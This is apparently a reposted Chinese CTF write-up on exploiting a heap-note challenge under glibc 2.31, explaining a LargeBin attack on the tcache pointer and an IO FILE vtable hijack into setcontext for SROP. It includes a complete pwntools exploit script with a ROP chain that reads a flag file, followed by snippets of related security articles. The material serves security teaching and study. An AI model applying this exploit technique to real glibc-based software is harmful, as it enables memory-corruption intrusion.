glibc2.31下通过IOAttack开启ROP

VSole2021-11-11 16:14:59

01、程序分析

每次开始前会检查两个hook

Add会情况tcache

Delete就是正常的删除

View会根据strlen的结果输出

Edit则是根据命令来的

Gift则会安装下面的命令解析, 有一个向上的堆溢出

 

02、思路

虽然输入时进行了00阶段, 但是Edit写入时没有00阶段 把一个chunk放入LargeBin然后再申请出来, 然后利用Edit覆盖掉00再通过View就可以得到libc地址和heap地址

Gift没有限制p的上限因此是存在堆溢出的, 但是Gift只读入0x100, 而chunk最少0x400, 所以必须要写一个循环的小程序实现:

[会判断note[idx][p]是否为00, 如果是00的话就跳转到]后面一个位置, 如果不是则什么也不做相当于nop

因此把chunk全部用AAA填充, 然后Gift执行[>], 就可以跳过所有的非空字符, 然后利用多个,>解析堆溢出

有了堆溢出之后由于限制了size>0x400, 所以就想LargeBinAttack,在rtld_global中写入一个heap地址, 劫持fini_arr段, 在exit时触发getshell, 但是找了半天发现程序没用exit(), 调用的都是_exit(), 所以就只能放弃

exit()无法利用, 并且hook会有检查, 翻一下题目发现会时不时的调用printf() getchar() 等IO相关函数, 因此就只能进行IOAttack了.

可是只有一个堆地址写入无法完成IOAttack, 必须扩大战果, 后来发现一个比较鸡贼的地方, size>0x400包含一个0x410的大小, 而0x410就是tcache能管理的最大的size了. 所以利用LargeBinAttack直接打TLS段中的tcache指针, 劫持tcache->next[0x410]这个链表的链表, 从而实现任意写. 同时Add每次覆盖的都是原来的tcache对象, 不会影响劫持的, 然后就可以开启IOAttack了

2.31下的IOAttack是比较简单的, 虽然不能劫持虚表指针, 但是stdin/ stdout/ stderrr三个标准流使用虚表位于一个可写入段, 可以直接利用tcache去覆盖虚表中的函数指针为OGG, 然后调用getchar()或者printf()函数, 直接getshell

但是后续发现禁用了execve(), 因此只能想办法通过IOAttack进行ROP, 后续发现getchar()的虚表调用指令是mov rax, [虚表+偏移]; jmp rax也就是说rax中就是指令地址, 这种跳转是无法通过GG去控制更多寄存器的, 而printf()的虚表调用指令为lea rax, [虚表+偏移]; jmp [rax]跳转之后rax残留的指针指向虚表区域, 也就是我们可控的位置, 是有希望通过rax控制更多寄存器的.

但是我利用了一个更巧妙的方法来进行ROP, 虚表中调用的函数有一个特点: 函数的第一个参数就IO_FILE对象自己, 对于printf来说, 如果能够控制IO_2_1_stdout为SigreturnFrame并且控制_IO_file_jumps中__overflow函数为setcontext就可以开启ROP,

这就要求Tcache任意写两次, 可是我们只能申请一个属于tcache的size, 但是如何要写入的地方存在一个执行下一个要写入地址的指针, 就可以直接伪造一个包含2个chunk的0x410的tcache链表, 这个条件是否存在呢?结果时存在的stdout使用的虚表同时被stdin stdout stderr三个流使用, 并且有一个特点: stderr正好高就位于stdout上方不远处

也就是说可以把令tcache->next[0x410] = &stderr->vtable,

malloc(0x408)首先会申请到stderr的vtable指针所在位置, 向后8字节就是stdout

取出chunk1时有: tcache->next[0x410] = (&stderr->vtable)->next = vtabele,

因此再次malloc(0x408)就可以申请到stdout使用的虚表, 完成劫持

至此我们可以控制rdi与rip, 直接覆盖函数指针为setcontext就可以开启SROP.

但是我想额外说明一下SROP时rdi与rdx的问题. 2.27一下的libc中setcontext函数全称使用的都是rdi, 但是在2.31中setcontext设置寄存器部分的使用的是rdx设置寄存器

当我们只能控制rdi与rip时有两种绕过思路

rdi设置为frame地址, 调用setcontext(). 但是必须要设置保存浮点状态的指针frame['&fpstate']部分为一个可读写的地址, 这样直接执行setcontext()是没问题的

第二种是寻找一个通过rdi设置rdx与rip的GG, 利用这个GG中转一下, 把rdi与rip的控制权转换为rdx与rip的控制权, 然后跳转到setcontext+61处, 不执行fldenv指令, 直接进入到设置通用寄存器的部分

我个人更喜欢第一种思路, 只需要顺便设置一个可读可写地址, 就不用费心思中转了

03、EXP

#! /usr/bin/python# coding=utf-8import sysfrom pwn import *
context.log_level = 'debug'context(arch='amd64', os='linux')
def Log(name):    log.success(name+' = '+hex(eval(name)))
libc = ELF('./libc.so.6')
if(len(sys.argv)==1):            #local    cmd = ["./pwn"]    sh = process(cmd)else:                            #remtoe    sh = remote(host, port)
def Num(n):     sh.send(str(n).ljust(0x10, '\x00'))
def Cmd(n):    sh.recvuntil('>> ')    Num(n)
def Add(sz, cont=''):    if(cont==''):        cont = 'A'*sz    Cmd(1)    sh.recvuntil('Size: ')    Num(sz)    sh.recvuntil('Message: ')    sh.send(cont)
def Delete(idx):    Cmd(2)    sh.recvuntil('Index: ')    Num(idx)
def View(idx):    Cmd(3)    sh.recvuntil('Index: ')    Num(idx)
def Edit(idx, cont):    Cmd(4)    sh.recvuntil('Index: ')    Num(idx)    sh.recvuntil('Code :')    sh.send(cont)
def Gift(idx, cont):    Cmd(5)    sh.recvuntil('Index: ')    Num(idx)    sh.recvuntil('Code :')    sh.send(cont)
def Exit():    Cmd(6)
def GDB():    gdb.attach(sh, '''    telescope (0x0000555555554000+0x204050) 16    break *(0x0000555555554000+0x1c1c)    break *0x7ffff7e520cf    break *0x7ffff7e4ea26    ''')
# A用来泄露地址, DF属于同一个LargeBin用于进行LargeBinAttack, E用于隔开DF防止合并, C用于溢出DAdd(0x420)  #AAdd(0x408)  #B
Add(0x407)  #CAdd(0x460)  #DAdd(0x408)  #EAdd(0x450)  #FAdd(0x408)
#先把A放入LargeBin中再取出来使其残留相关地址Delete(0)   #UB<=>AAdd(0x500)    # 整理到LB中, LB<=>ADelete(0)   Add(0x420, 'A')  #get A again
#覆盖00截断, 读出bk获取libc地址Edit(0, '&('*0x8+'')sh.send('A'*8)View(0)sh.recvuntil('A'*8)libc.address = u64(sh.recv(6)+b'\x00\x00')-0x1ebbe0-0x3f0Log('libc.address')
#覆盖00阶段的部分, 读出fd_nextsize获取heap地址, 后续发现其实没heap地址也可以Edit(0, '&('*0x10+'')sh.send('A'*0x10)View(0)sh.recvuntil('A'*0x10)heap_addr = u64(sh.recv(6)+b'\x00\x00')-0x2b0print(hex(heap_addr))
#后续LargeBinAttack时会覆盖TLS的tcache指针为F的地址, 因此预先在F中伪造一个tcache对象Delete(5)exp = b'\x02'*0x268    # 一个链表有2个chunkexp+= p64(libc.address+0x1ec698)    #同时控制stdout与虚表的关键: Tcache[0x410] = &stderr->vtableexp = exp.ljust(0x450, b'\x00')Add(0x450, exp)    #申请时写入, 因此Edit用起来不太方便
#先把同一个Largebin中更大的那一个放入Largebin中, 因为LargeBinAttack在 要整理的chunk是所属Largebin最小chunk时 发生Delete(3)Add(0x500)  #LB<=>D
#进行堆溢出, 覆盖D->bk_nextsize = tcache@TLS - 0x20exp = '[>]'+('>,')*0x29+''Gift(2, exp)sh.send(b'A'+flat(0x471, libc.address+0x1ebfe0, libc.address+0x1ebfe0, 0, libc.address+0x1f34f0-0x20))
#把D整理到所属Largebin中, 触发LargeBinAttack, 劫持TcacheDelete(5)    #UB<=>D, LB<=>FAdd(0x500)
#至此我们有Tcache-> (stdout-0x8) -> (_IO_file_jumps)#先申请出来的chunk位于stdout附近, 因此要在这里布置好SigreturnFrame, 同时要保存原有数据, 不能干扰正常的调用虚表函数的逻辑exp =flat(0)            #stderr->vtableexp+= flat(0xfbad2087)  #stdoutfor i in range(12):    exp+= flat(i)
ret = libc.address+ 0x25679buf = libc.address+0x1ec878rdi = libc.address+0x26b72rsi = libc.address+0x27529rdx = libc.address+0x11c371 #pop rdx; pop r12; ret;
exp+= flat(libc.address+0x1eb980)exp+= flat(0x101, 0x102, 0x103)exp+= flat(libc.address+0x1ee4c0)exp+= flat(0x201, 0x202)exp+= flat(libc.address+0x1ec790)      # frame['rsp'], 指向后面的rop部分exp+= flat(ret)      # frame['rip']exp+= flat(0x302, 0x303, 0xffffffff, 0x305, 0x306)exp+= flat(libc.address+0x1ed4a0)exp+= flat(libc.address+0x1ec5c0)exp+= flat(libc.address+0x1ec6a0)
#要执行的ROProp = flat(rdi, buf, rsi, 0, libc.symbols['open'])rop+= flat(rdi, 3, rsi, buf, rdx, 0x30, 0, libc.symbols['read'])rop+= flat(rdi, 1, rsi, buf, rdx, 0x30, 0, libc.symbols['write'])
exp+= rop.ljust(208, b'\x00')exp+= flat(0, 0, 0)exp+= b'./flag\x00'
#覆盖stdoutAdd(0x408, exp)     #alloc to stdout
#再次申请覆盖就是虚表了, 直接覆盖为setcontext就好exp = cyclic(0x38)exp+= flat(libc.symbols['setcontext'])  Add(0x408, exp) #alloc to vtable 
#然后调用printf触发ROPEdit(1, 'A\x00')
sh.interactive()
本作品采用《CC 协议》,转载必须注明作者和本文链接
分析每次开始前会检查两个hook,Add会情况tcache
前言本文主要着眼于glibc的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc常见的漏洞利用方式,后者主要涉及到一些较新的glibc的IO调用链。
Glibc2.29及以上版本堆的利用技巧越来越复杂,简直就是神仙打架,实在学得有点头晕。并且很多时候就算我们有了复用堆块在出题人的各种围追堵截的限制,也可能没办法getshell,所以一直在不断开发新的利用姿势。
在做这道题的时候一直以为是格式化字符漏洞,没有发现真正的问题,最后看了官方的wp才明白。
Ghostscript是一款Adobe PostScript语言和PDF的解释器软件,被诸多著名应用(如ImageMagick)所使用。 9月5日,海外安全研究员在Twitter公开Ghostscript的安全模式绕过0day,并给出ImagMgick的利用代码,该漏洞可以造成任意命令执行,影响诸多下游应用,当天TSRC紧急对该漏洞进行复现与分析。 9月9日,Ghostscript官方发布补丁代
MTCTF-2022 部分WriteUp
2022-11-23 09:35:37
MTCTF 本次比赛主力输出选手Article&Messa&Oolongcode,累计解题3Web,2Pwn,1Re,1CryptoWeb★easypickle题目给出源码:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是将从stack中出栈两元素分别导入的模块名和属性名:此外对于蓝帽杯WP还存在一个小问题,原题采用_loads函数加载pickle数据但本题是loads,在opcodes处理上会有些微不通具体来说就是用loads加载时会报错误如下:对着把传入参数换成元组就行,最终的payload如下
2021安洵杯PWN WP详解
2021-12-29 16:41:08
做了2021安洵杯线上赛题目,总体来说题目有简单有难的,难易程度合适,这次就做了pwn,把四道pwn题思路总结一下,重点是没几个人做出来的最后一道pwnsky,赛后做了复现。
linux跟踪技术之ebpf
2022-12-30 10:51:15
eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf,还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。
虽然从bin中拿出chunk的指针没有被初始化,但是这个截断使得我们不能直接泄露libc和堆地址了。
house of force 主要利用 top chunk 的漏洞 通过修改topchunk_size来进行攻击 利用 top chunk 分割的漏洞来申请任意 chunk, 然后再劫持 hook 或者更改 got表
VSole
网络安全专家